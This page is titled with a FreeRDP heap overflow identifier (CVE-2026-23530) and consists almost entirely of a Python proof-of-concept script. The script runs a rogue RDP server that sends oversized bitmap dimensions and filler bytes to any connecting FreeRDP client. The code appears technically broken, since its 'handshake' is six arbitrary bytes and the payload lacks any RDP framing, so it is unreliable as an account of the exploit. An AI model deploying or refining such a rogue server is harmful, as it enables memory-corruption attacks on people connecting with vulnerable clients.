CVE-2026-23530 FreeRDP freerdp_bitmap_decompress_planar堆缓冲区溢出漏洞

#!/usr/bin/env python3 # CVE-2026-23530 PoC - Malicious RDP Server # This PoC demonstrates the vulnerability in FreeRDP's planar bitmap decompression # DO NOT use for unauthorized testing import socket import struct import sys def create_malicious_bitmap_data(): """Craft bitmap data with oversized dimensions to trigger heap overflow""" # Malicious width/height values that exceed maxWidth/maxHeight malicious_width = 0x7FFFFFFF # Extremely large value malicious_height = 0x7FFFFFFF # Construct bitmap header with malicious dimensions bitmap_header = struct.pack('<III', malicious_width, # nSrcWidth - not validated malicious_height, # nSrcHeight - not validated 0x00000020 # bpp (32 bits per pixel) ) # RLE compressed data that will cause overflow when decoded rle_data = b'\xFF' * 1024 # Malicious RLE data return bitmap_header + rle_data def start_malicious_rdp_server(host='0.0.0.0', port=3389): """Start a rogue RDP server to exploit CVE-2026-23530""" server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) server_socket.bind((host, port)) server_socket.listen(5) print(f"[*] Malicious RDP server listening on {host}:{port}") print("[*] Waiting for FreeRDP client connection...") while True: try: client_socket, addr = server_socket.accept() print(f"[+] Client connected from {addr[0]}:{addr[1]}") # Send RDP handshake client_socket.send(b'\x03\x00\x00\x00\x00\x00') # Send malicious bitmap data to trigger overflow malicious_data = create_malicious_bitmap_data() client_socket.send(malicious_data) print("[*] Sent malicious bitmap data") client_socket.close() except Exception as e: print(f"[-] Error: {e}") continue if __name__ == '__main__': print("CVE-2026-23530 FreeRDP Heap Buffer Overflow PoC") print("Target: FreeRDP < 3.21.0") start_malicious_rdp_server()